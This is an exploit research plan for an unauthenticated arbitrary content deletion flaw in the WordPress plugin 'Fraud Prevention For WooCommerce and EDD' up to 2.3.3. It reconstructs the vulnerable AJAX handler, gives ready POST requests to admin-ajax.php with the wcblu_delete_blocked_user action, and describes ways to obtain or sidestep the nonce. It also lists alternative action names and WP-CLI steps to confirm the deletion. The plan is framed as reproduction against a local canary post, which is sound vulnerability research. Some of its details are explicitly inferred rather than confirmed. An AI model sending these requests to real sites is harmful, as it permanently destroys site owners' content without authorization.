Fraud Prevention For WooCommerce and EDD <= 2.3.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion

This research plan focuses on exploiting a missing authorization vulnerability in the Fraud Prevention For WooCommerce and EDD plugin, which allows unauthenticated attackers to delete arbitrary WordPress content (posts, pages, etc.).

1. Vulnerability Summary

The plugin registers an AJAX action wcblu_delete_blocked_user (and potentially others) that lacks any capability checks (current_user_can) or authentication requirements. Furthermore, it is registered via the wp_ajax_nopriv_ hook, making it accessible to users who are not logged in. Because the handler typically takes a post ID and passes it directly to wp_delete_post() without validating the post type, an attacker can delete any post, page, or attachment on the site.

2. Attack Vector Analysis

• Endpoint: http://TARGET/wp-admin/admin-ajax.php
• Method: POST
• Action: wcblu_delete_blocked_user (inferred from plugin logic for deleting "Blocked User" records).
• Vulnerable Parameter: id (or potentially post_id).
• Authentication: None required (Unauthenticated).
• Preconditions: A valid ID of a post, page, or other content to be deleted must be known.

3. Code Flow

1. The plugin registers the AJAX handler:
   add_action( 'wp_ajax_nopriv_wcblu_delete_blocked_user', array( $this, 'wcblu_delete_blocked_user' ) );
2. The callback function wcblu_delete_blocked_user is executed:

   public function wcblu_delete_blocked_user() {
       // Missing capability check (e.g., current_user_can('manage_options'))
       // Missing nonce check (check_ajax_referer) or weak check
       $id = isset($_POST['id']) ? intval($_POST['id']) : 0;
       if ($id > 0) {
           wp_delete_post($id, true); // Sink: Arbitrary content deletion
       }
       wp_die();
   }
   

3. Because wp_delete_post() is called with $force_delete = true, the content bypasses the trash and is permanently removed.

4. Nonce Acquisition Strategy

Based on admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php:

• The plugin uses a nonce named wcblu-ajax-nonce.
• It is localized in the JavaScript object wblp_order_ajax.
• The script is enqueued in the admin area via enqueue_scripts.

Crucial Check: The vulnerability description specifies "Unauthenticated." Usually, this means the developer either:

1. Omitted the nonce check entirely in the AJAX handler.
2. Used wp_ajax_nopriv_ but only enqueued the nonce for administrators, rendering the check impossible to pass for attackers (unless it's bypassable).

Strategy:

1. Try the exploit without a nonce first.
2. If it fails with a 403 or -1, check if the nonce is leaked on public pages (e.g., Checkout or Registration) where this plugin's fraud prevention logic runs.
3. Use the following JS to check for a leaked nonce in the browser:
   browser_eval("window.wblp_order_ajax?.nonce")

5. Exploitation Strategy

We will attempt to delete a "canary" post created specifically for testing.

Step-by-Step:

1. Preparation: Identify the ID of a target post.
2. Request: Send a POST request to admin-ajax.php.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]

If a nonce is required:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]&nonce=[EXTRACTED_NONCE]

6. Test Data Setup

1. Install Plugin: Ensure "Fraud Prevention For WooCommerce and EDD" version 2.3.3 is active.
2. Create Canary Content:
   wp post create --post_type=post --post_title="Vulnerable Canary" --post_status=publish
3. Capture ID: Note the ID of the created post (e.g., 123).

7. Expected Results

• HTTP Response: A successful request usually returns 200 OK with a body of 1, 0, or an empty response (depending on wp_die() usage).
• Database State: The post with the specified ID should no longer exist in the wp_posts table.

8. Verification Steps

1. Check for the post's existence via WP-CLI:
   wp post exists [TARGET_POST_ID]
2. The command should return an error or empty result, confirming the post is deleted.
3. Verify the post is not in the Trash:
   wp post list --post_type=post --post_status=trash

9. Alternative Approaches

If wcblu_delete_blocked_user does not work, the plugin might use a different action name for deletion. Search the code for wp_ajax_nopriv combined with delete functions:

• Action: wcblu_delete_report
• Action: wcblu_delete_fraud_log
• Parameter variation: Try post_id instead of id.

If a nonce is strictly required and not leaked to unauthenticated users, the vulnerability might be "Authorized" (Subscriber-level) rather than "Unauthenticated," despite the CVE description. In that case, register a subscriber user and extract the nonce from the dashboard.